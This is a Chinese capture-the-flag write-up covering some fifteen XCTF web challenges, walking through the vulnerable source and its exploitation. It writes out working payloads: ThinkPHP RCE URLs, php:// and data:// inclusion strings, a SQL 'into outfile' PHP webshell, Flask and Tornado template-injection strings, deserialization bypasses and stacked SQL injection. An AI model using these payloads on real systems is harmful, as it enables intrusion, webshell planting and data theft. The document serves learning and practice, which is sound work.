XCTF攻防世界 WriteUp(Web)

感觉XCTF这个平台还是8错的,题目量也多质量也还可以,准备后面慢慢刷

新手区还是太简单了。。。这里就不放WriteUp了,直接整进阶区的

平台链接:https://adworld.xctf.org.cn/task

baby_web

Hint:想想初始页面是哪个

打开页面会自动跳转至1.php,尝试输入index.php访问,然后发现302跳转至1.php,然后在302响应头里找到flag:

Training-WWW-Robots

这题。。。已经明示了,访问robots.txt,得到目录/fl0g.php,访问直接拿到flag:cyberpeace{f6c970f5e54f9ddf6964b44b35732dfe}

php_rce

这题一打开是一个ThinkPHP的默认界面:

一开始先试了一下,访问一哈404的目录,发现只是返回正常的404界面;然后给主页加一些乱七八糟的参数,返回了错误,错误中泄露了软件版本(后面发现是我蒙中了s参数):

然后呢。。。就没有然后了,找了半天毛都找不到,robots.txt也没有信息。。。

于是百度,发现ThinkPHP 5.x好多版本都有RCE。。。emmm准备后面专门研究一下ThinkPHP的代码,这里先放一个Payload:

http://111.198.29.45:41137/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name *flag*

通过这些参数执行了Linux的find指令,找到了flag所在目录/flag,于是执行cat /flag,拿到flag:

当然肯定不止这种解法,就这都任意文件写入了,直接写个马也是没问题的。

参考资料:ThinkPHP5框架缺陷导致远程命令执行ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析

Web_php_include

源代码已给出:

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

这题好多解法的亚子。。。我想到的就有两种,主要思想就是文件包含和任意命令执行。

  1. 双写+php://伪协议

    Payload1:?page=PhP://input+POST任意PHP命令

​ Payload2:?page=PhP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php,解码拿到flag

  1. data协议任意命令执行(明文和base64都可)

    Payload:?page=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygiZmw0Z2lzaXNpc2gzcjMucGhwIik7Pz4=

还有几种方法是看了别人的WriteUp做的,感觉自己脑洞还不够大。。。

  1. phpMyAdmin

    御剑可以扫到phpMyAdmin和phpinfo,而且phpMyAdmin没有密码。。。然后直接登进去输入SQL语句实现本地文件包含:

    1
    select "<?php eval($_POST['evil']);?>" into outfile "/tmp/evil.php";
  2. 套娃

    这个真的难想。。。绕了半天才想清楚

    之前一直忽略了echo $_GET['hello'];这行代码,然后发现可以用。。。

    因为show_source(__FILE__);这行代码输出的代码都是经过HTML实体编码的无法被include识别,而我们可以任意掌控hello这个参数的值,所以如果使用HTTP协议让page参数为一个带有hello参数输出的index.php,那么也可以利用hello参数进行任意命令执行(前提是php.ini中的allow_url_include设置为了On):

    Payload:?page=http://localhost/index.php?hello=<?show_source("fl4gisisish3r3.php");?>

warmup

打开首页就一张滑稽图片,然后查看源代码发现source.php,访问拿到源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

先访问一下hint.php,得到flag not here, and flag in ffffllllaaaagggg

于是进行一波代码审计:首先要求传入参数file不为空且是字符串,然后要让emmm::checkFile($_REQUEST['file'])函数返回true,就会把file参数的值include进来,否则就显示滑稽。

再看emmm::checkFile()方法:

一共有三个地方可以令这个方法返回true,如果是直接满足第一个条件的话,那我们就无法加其他的东西进去了;后面两个条件是有办法加东西进去的,所以考虑后面两个条件的满足。

截取字符串用了mb_substr()mb_strpos()两个函数来进行,只截取字符串中第一个?之前的字符进行判断,所以我们就可以在?后面加入其他的东西,下面是我在本地测试的结果:

我在网站根目录的上一级放了一个只有一个echo语句的test.php文件,然后网站主页使用source.php的代码。首先在第二个条件进行绕过,令参数file=hint.php?/../../test.php,发现报错:

然后查了一下资料,发现是?后面的字符被当成了传入hint.php的参数,而本地文件包含和读取是不允许参数存在的,所以报错。一般情况下,可以通过使用HTTP协议来解决这个问题,但这里显然是不行的。

第二个条件不行,那么尝试满足最后一个条件,把?进行二次URL编码得到%253f,令file=hint.php%253f/../../test.php,发现成功读取到文件:

关于这个包含路径的问题,感觉比较迷,一开始想了半天想不通为什么访问上一级文件夹的内容要两个../,后来就查了一下,下面是一个解释:

当在字符/前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含/后面的文件——注意是最后一个/

但我觉得嘛。。。emmmm这并没有解决我的疑惑,于是我就自己强行理解了一波,也不知道对不对,大佬轻喷:

首先把输入的相对路径拼接成一个绝对路径,如上面的就被拼接成D:/phpstudy/WWW/hint.php%253f/../../test.php,于是此时hint.php%253f就被当成了一个目录,但是PHP先不管它存不存在,而是按照这个逻辑去进行访问,所以D:/phpstudy/WWW/hint.php%253f/../等价于D:/phpstudy/WWW/,再返回一次就等同于是根目录的上一级了。

然后就可以做题了,由hint得知flag文件名ffffllllaaaagggg,所以靠着相对路径一步一步往前摸,最后可以摸到flag:

做完了题又查了一下,发现这个题是phpMyAdmin的一个LFI漏洞:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog

NewsCenter

一个最简单的SQL注入,没有任何过滤。。。

首先试探是否存在注入,发现or语句直接出来所有数据:

然后就用SQLMap爆:python sqlmap.py -r 1.txt --dump

NaNNaNNaNNaN-Batman

题目文件:点击下载

文件是个压缩包,解压后得到文件web100,内容如下:

1
2
3
4
5
6
<script>
_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]); .splice(0,1)}}} \'<input id="c">< onclick=$()>Ok</ >\');delete _var ","docu.)match(/"];/)!=null=[" write( s[o%4] buttonif(e.ment';
for(Y in $=' ')
with(_.split($[Y]))_=join(pop());
eval(_)
</script>

看着像一段js脚本,于是复制下来一句一句的执行,执行完那个for循环后拿到一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function $() {
var e = document.getElementById("c").value;
if (e.length == 16)
if (e.match(/^be0f23/) != null)
if (e.match(/233ac/) != null)
if (e.match(/e98aa$/) != null)
if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

发现这代码会生成一个输入框,然后把输入内容进行正则表达式和长度匹配,全部满足就打印出flag。

观察正则表达式发现,字符串必须以be0f23开头,以e98aa结尾,而单纯的把四个正则表达式直接输入进去也是不可行的,因为有长度的限制。但是这些正则表达式之间存在一些重复的字符串,可以合并,合并结果为be0f233ac7be98aa,把最开始那段代码放在本地运行,然后输入就可以拿到flag:flag{it's_a_h0le_in_0ne}

PHP2

这题打开毛都没有,只有一句话:

Can you anthenticate to this website?

然后就试一下常用的文件名,最后在index.phps找到了源代码:

从别人的WriteUp里面挖来的新知识:phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。 它的MIME类型为:text/html, application/x-httpd-php-source, application/x-httpd-php3-source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

然后就很简单了,二次URL编码即可:

unserialize3

这题完全就是明示了,直接通过__wakeup()的CVE-2016-7124漏洞绕掉,Payload:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

upload1

这题。。。就一个上传文件的,查看源代码发现只有前端验证扩展名,直接抓包改扩展名,直接挂马:

Web_python_template_injection

这题考的是Python Flask模板注入,大概原理是Flask可以在网页中包含变量,只需要使用{ { } }包住即可,然后通过调用一些对象的__mro____subclasses__等一些属性,可以定位到一些可以进行一些骚操作的类,一顿操作之后可以定位到os模块以及File模块等,然后就可以以这种方式进行RCE或者任意文件写入了;还有一种是使用Flask框架内部的一些方法来操作,这个还没有实践过也不是很清楚,后面再做详细的分析吧。

这道题首先用一个脚本,找一下哪里有os模块:

1
2
3
4
5
6
7
8
9
10
from flask import *
cnt = 0
for i in [].__class__.__base__.__subclasses__():
try:
if 'os' in i.__init__.__globals__:
print(cnt,i)
except:
pass
cnt += 1
# print([].__class__.__base__.__subclasses__()[452].__init__.__globals__['os'].popen("ver").read())

奇怪的是,如果不导入flask模块,使用Python3无法跑出任何结果,且一些文章里面说到的两个调用了os模块的<class 'site._Printer'><class 'site.Quitter'>只有在Python2中才能跑出来,不知道是我本地环境的原因还是啥。

后面就直接读取这个类里面的全局变量,调用对应的模块,常用的比如这里的os.popen(),可以直接返回命令输出结果,用起来还是很方便的。

回到这道题叭。这题的环境里面,可以调用到<class 'site._Printer'><class 'site.Quitter'>这两个类,所以就更加方便了,直接上Payload:

然后os.popen('ls')找到flag文件fl4g,再来一哈os.popen('cat fl4g')轻松拿到flag。

还有一个Payload,是HackBar里面提供的默认Payload,一起放上来做个参考:{ { config.__class__.__init__.__globals__['os'].popen('ls').read() } }

参考文章:https://www.freebuf.com/column/187845.htmlhttps://www.freebuf.com/articles/web/98619.htmlhttps://www.freebuf.com/articles/web/98928.html

Web_php_unserialize

直接给出源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>

这题就很简单了,还是绕过__wakeup(),但是这里还需要绕过一个正则表达式,这个正则表达式过滤了反序列化对象中类似于O:1:C:1:的字符串,看了一下别人的WriteUp,发现对象成员数量可以用+绕过:

Payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==(注意反序列化对象里面的\x00字符)

supersqli

这题是一个比较特别的SQL注入,之前没碰到过

一开始先尝试注了一下,发现有错误回显,然后摸到是字符型注入,使用--+注释可以注入,order by也可以执行,猜出来表列数为2,但是想用union的时候,发现被过滤了:

由于开了不区分大小写,而且双写也莫得。。。所以这些关键字就没办法绕了,只能想点别的办法

试一下多语句执行,发现可以整:

然后又show columns了一下,发现flag在1919810931114514数据表里面,那么接下来就是想办法把数据显示出来。

于是又看了一遍菜鸟SQL教程,发现可以对数据表和数据列改名,那应该把flag的数据表换掉原来的数据表就能成了。

1
2
3
alter table `1919810931114514` change `flag` `id` varchar(100);
alter table `words` rename to `words1`;
alter table `1919810931114514` rename to `words`;

把这三条放在一个请求里全部执行之后,此时默认读取数据表已经发生了改变,所以直接用1' or 1=1--+就可以直接拿到flag:

通过这题学到了一种新的SQL注入形式,如果在生产环境下这么搞,然后过滤条件还没这里严谨的话,那删库跑路也不是不可以

easytornado

Hint: Tornado 框架

主页面有三个链接,全部点了一下:

1
2
3
4
5
6
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))

然后发现参数有filename以及filehash,hints.txt下面告知了filehash的计算方式,flag.txt告知了flag的位置,那么接下来还有一个cookie_secret没有整出来

然后爬了一下官方文档,发现cookie_secret是用来给cookie进行签名的,以保证cookie的安全性。同时还发现cookie_secret存在于Tornado的Web应用对象中的settings字典里面:

(摘自Tornado框架中文文档)
传递给构造器的附加关键字参数保存在settings字典中, 并经常在文档中被称为”application settings”. Settings被用于自定义Tornado的很多方面(虽然在一些情况下, 更丰富的定制可能是通过在RequestHandler的子类中复写方法). 一些应用程序也喜欢使用settings字典作为使一些处理程序可以使用应用程序的特定设置的方法, 而无需使用全局变量.
cookie_secret: 被RequestHandler.get_secure_cookie使用, set_secure_cookie用来给cookies签名.

由于Tornado也是基于Python开发的,所以同样想到模板注入,随意输入filename摸到一个错误界面,发现msg参数可控:

然后试了一下传入{ { application.settings } },就500了。。。估计做了一些过滤措施叭

然后又翻文档,发现另一个对象RequestHandler,这个对象是用来处理网站的请求的,在它的构造方法里面,传入了要处理请求的Web应用对象,并且有一个settings方法,会返回这个applicationsettings

而且从注释里面看出,Tornado还有一套别名机制,估计是为了方便调用做出来的

(摘自Tornado框架中文文档)

  • escape:tornado.escape.xhtml_escape的别名
  • xhtml_escape: tornado.escape.xhtml_escape的别名
  • url_escape: tornado.escape.url_escape的别名
  • json_encode: tornado.escape.json_encode的别名
  • squeeze: tornado.escape.squeeze的别名
  • linkify: tornado.escape.linkify的别名
  • datetime: Pythondatetime]模块
  • handler: 当前的RequestHandler对象
  • request:handler.request的别名
  • current_user:handler.current_user的别名
  • locale:handler.locale的别名
  • _:handler.locale.translate`的别名
  • static_url:handler.static_url的别名
  • xsrf_form_html:handler.xsrf_form_html的别名
  • reverse_url:Application.reverse_url的别名
  • 所有从 ui_methodsui_modules Application 设置的条目
  • 任何传递给renderrender_string的关键字参数

RequestHandler对象有个别名叫handler,所以是不是可以通过handler.settings访问到settings字典呢?理论上行得通,实际上也没错:

拿到了cookie_secret,接下来使用md5做对应的操作就可以算出/fllllllllllllag对应的filehash值:

1
2
3
4
<?php
echo md5('69cd0335-5640-41b3-b594-1c7a4d1cd380'.md5('/fllllllllllllag'));
// Result: 361e9154ca34a280ef2d0b28ff5d2319
?>

访问?filename=/fllllllllllllag&filehash=361e9154ca34a280ef2d0b28ff5d2319,拿到flag:flag{3f39aea39db345769397ae895edb9c70}

参考链接:Tornado中文文档Tornado Documentation

ics-06

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

这题目是一道爆破题,一开始还以为是注入,结果后来才发现不对劲。。。

打卡页面是一个假的管理系统界面,主页只有一张图片,而且侧边栏只有报表中心可以跳转,其他都是假的

访问报表中心来到index.php,有个输入日期的框框,但是查了一下源代码,发现只是个框框,没有提交任何数据给服务器,然后发现id参数,尝试注入,发现输入任何非数字参数都会直接跳转至id=1,而输入数字则不会。

然后就想到爆破:

lottery

一个代码审计题,打开是一个买彩票的游戏界面,主页介绍了游戏规则,使用一个用户名就可以创建一个账户,然后给你20块,只要赢了9990000块就可以买flag了

附件:点击下载

一开始先玩了一下,果然一下子把钱输完了……然后看源代码,发现生成彩票号码和确认是否中奖的代码逻辑在api.php中:

这是彩票的中奖数字生成算法,用了一个没有见过的随机字节串生成函数openssl_random_pseudo_bytes(),用的是强加密算法,PHP文档里面这么解释的:

openssl_random_pseudo_bytes ( int $length [, bool &$crypto_strong ] ) : string

生成一个伪随机字节串 string ,字节数由 length 参数指定。

通过 crypto_strong 参数可以表示在生成随机字节的过程中是否使用了强加密算法。返回值为FALSE的情况很少见,但已损坏或老化的有些系统上会出现。

整个生成算法大概就是:生成一个10字节的随机串,然后取了对应的ASCII码,当其小于250时就除以25,然后向下取整,说白了就是生成一个0~9的随机数。

再看看中奖算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:
$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

可以看见有个for循环,逐字符的检查输入值和彩票值是否匹配,但是用的是==弱类型比较,所以。。。尝试传入别的类型的数据使得条件恒成立试试:

抓包:

我把numbers参数的值从字符串改成了一个布尔数组,这样传进去的话$numbers = $req['numbers'];这句得到的就是一个布尔数组,循环里面每次比较都是"数字"==true,虽然有0的情况出现,但至少中奖几率大了很多啊。

多搞了几次,成功拿到几千万,然后去买flag:

mfw

这题做过原题了,传送门

web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

这题超简单,逆向一下算法就行

稍微理一下算法流程:

  1. 字符串反向
  2. 每个字符的ASCII码+1
  3. base64
  4. 字符串反向
  5. rot13

把这个流程反过来就能输出明文:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function decode($str){
$str1 = base64_decode(strrev(str_rot13($str)));
for ($i = 0;$i < strlen($str1);$i++){
$str2 .= chr(ord($str1[$i]) - 1);
}
return strrev($str2);
}

echo decode($miwen);
?>

输出flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

shrine

这题是Flask/Jinja2 SSTI,打开直接拿源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

很容易发现/shrine目录下存在模板注入,但是有一些限制,safe_jinja()函数过滤了括号和关键字configself,然后flag在app.config下。

尝试访问/shrine/16,输出为16,说明确实有注入。接下来就是想办法拿到app.config的内容。首先过滤了括号,找父类object再找子类调用模块肯定不行了,得想别的办法。

查资料得知可以通过寻找current_app对象来拿到app.config,还可以通过app对象的__dict__属性来列出config信息。

此时可用的上下文或函数有url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config,而此时config肯定不能直接用,于是试着找它们的全局变量__globals__,发现url_forget_flashed_messages的全局变量里面有current_app对象:

然后构造Payloadurl_for.__globals__['current_app'].config['FLAG']和``get_flashed_messages.globals[‘current_app’].config[‘FLAG’]`就能拿到flag。

另一个思路,app对象的__dict__属性,可以通过调用模块sys找到:app.__init__.__globals__.sys.modules.app.app.__dict__.config['FLAG']

然后找了半天,又发现了另一个思路:通过递归查找request对象的属性和函数找到config,传送门https://ctftime.org/writeup/10851。这个代码不是很看得懂(Python是真的菜),但是稍微改了一下代码,令其显示所有结果,但是还是只有这一个request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG'],估计只找到了这一个。

再总结一下Jinja2的SSTI中拿config的方法:

  1. __class__, __base__, __mro__, __subclasses()调用模块
  2. url_for、get_flashed_messages等函数/属性的全局变量
  3. sys模块中找app.__dict__

参考资料: https://www.cnblogs.com/wangtanzhi/p/12238779.html、 https://www.cnblogs.com/20175211lyz/p/11425368.html、 https://ctftime.org/writeup/10851、 https://glarcy.github.io/2019/03/11/SSTI模板注入/、 https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/

fakebook

一开始看见login,以为登录框有SQL注入,然后点join,输入信息后就可以在网站里面添加一条数据。

点击用户名,来到/view.php?no=1,然后又感觉这里也可以注入,先对login测了一下,发现好像莫得注,然后对这里试了一下no=1',发现报错。

然后就是一阵愉快的union select,然后发现对空格做了过滤,尝试注释绕过,成功:

接下来就用SQLmap去跑,发现怎么都弄不下来数据,所以只能手工注了:爆出字段nousernamepasswddata,前三个数据就是在join输入的数据,只有data,是一段序列化对象:

然后看了以下正常的网页源码,加载Blog内容的地方有一个iframe,src里面是一段base64,于是猜能不能改变这个参数来读文件,尝试改变blog参数为file:///var/www/html/view.php,直接丢到union select里面去,发现源码里面的iframe src变长了,一解码直接拿到源码:

于是通过这个可以顺藤摸瓜拿到所有代码,拿到user.php中发现读取blog内容靠的是curl,也就难怪可以使用file:///协议读取了。(后来看WriteUp发现robots.txt直接给了user.php的备份文件)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

然后尝试读一下flag.php(别问 问就是猜),就拿到了flag:

FlatScience

在这题第一次接触SQLite的注入,感觉比MySQL的简单一点点

打开页面显示的是一个教授的个人网站的半成品,说是里面有一些他写的论文,然后附了几个链接,全部点了一遍,除了PDF的其他链接都是在来回跳转,没有什么信息。

然后在robots.txt里面发现/login.php/admin.php

访问/admin.php源代码提示<!-- do not even try to bypass this -->,估计是没有注入。访问/login.php,源代码中发现提示GET参数debug,请求后返回源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
$user = $_POST['usr'];
$pass = $_POST['pw'];
$db = new SQLite3('../fancy.db');
$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
if($res){
$row = $res->fetchArray();
}
else{
echo "<br>Some Error occourred!";
}
if(isset($row['id'])){
setcookie('name',' '.$row['name'], time() + 60, '/');
header("Location: /");
die();
}
}

if(isset($_GET['debug']))
highlight_file('login.php');
?>

看着应该有一个SQLite的注入。百度一下发现SQLite里面也有一个系统表sqlite_master,其结构看起来如下:

1
2
3
4
5
6
7
CREATE TABLE sqlite_master ( 
type TEXT,
name TEXT,
tbl_name TEXT,
rootpage INTEGER,
sql TEXT
);

也就是说可以通过type和name来读数据表的信息,因为可以直接读到创建表的SQL语句,所以相当于也可以拿到列信息。尝试union,就拿到了所有数据表的SQL语句(这里只有一个Users)

Users表有idnamepasswordhint4列,也可以分别读出来,Payload:0' union select id,group_concat(password) from Users--+

读到Users表的数据如下:

id name password hint
1 admin 3fab54a50e770d830c0416df817567662a9dc85c my fav word in my fav paper?!
2 fritze 54eae8935c90f467427f05e4ece82cf569f89507 my love is鈥�?
3 hansi 34b0bb7c304949f9ff2fc101eef0f048be10d3bd the password is password

拿password里面3个md5值去解密,发现只有admin的解的出:

正好admin.php里面用户名默认也给的admin,于是尝试密码ThinJerboa,直接拿到flag:

当然还有hint没用,我觉得这肯定不是出题者的本意,看了hint发现my fav word in my fav paper?!,是不是意味着这个单词可能藏在那些论文里面呢?

于是就一个一个下载下来(后来发现用wget直接递归下载wget http://xxxxxx/ -r -np -nd -A .pdf),然后接下来就是读PDF中的单词,把配合字符串"Salz!"输出的sha1值去和password比对。

看了一眼别人的WriteUp,都用的Python2,而且我跑出来还报错。。。于是查了一下自己写了一个Python3的,用的是pdfplumber模块,用起来还算简单。

都贴一下吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
# Python2
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib

def get_pdf():
return [i for i in os.listdir("./") if i.endswith("pdf")]

def convert_pdf_2_text(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
interpreter = PDFPageInterpreter(rsrcmgr, device)
with open(path, 'rb') as fp:
for page in PDFPage.get_pages(fp, set()):
interpreter.process_page(page)
text = retstr.getvalue()
device.close()
retstr.close()
return text

def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print "Searching word in " + i
pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print "Find the password :" + word
exit()

if __name__ == "__main__":
find_password()


# Python3
import os
import hashlib
import pdfplumber

def get_pdf():
return [i for i in os.listdir() if i.endswith("pdf")]

def convert_pdf_2_text(filename):
pdf = pdfplumber.open(filename)
text = ""
for page in pdf.pages:
text += page.extract_text()
pdf.close()
return text

def find_password():
pdf_path = get_pdf()
for i in pdf_path:
print("Searching word in " + i)
pdf_text = convert_pdf_2_text(i).split(" ")
for word in pdf_text:
sha1_password = hashlib.sha1((word+"Salz!").encode("utf-8")).hexdigest()
print("sha1(\""+word+"\"+\"Salz!\")="+sha1_password)
if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
print("Find the password :" + word)
exit()

if __name__ == "__main__":
find_password()

然后跑了一下脚本,也能拿到这个单词ThinJerboa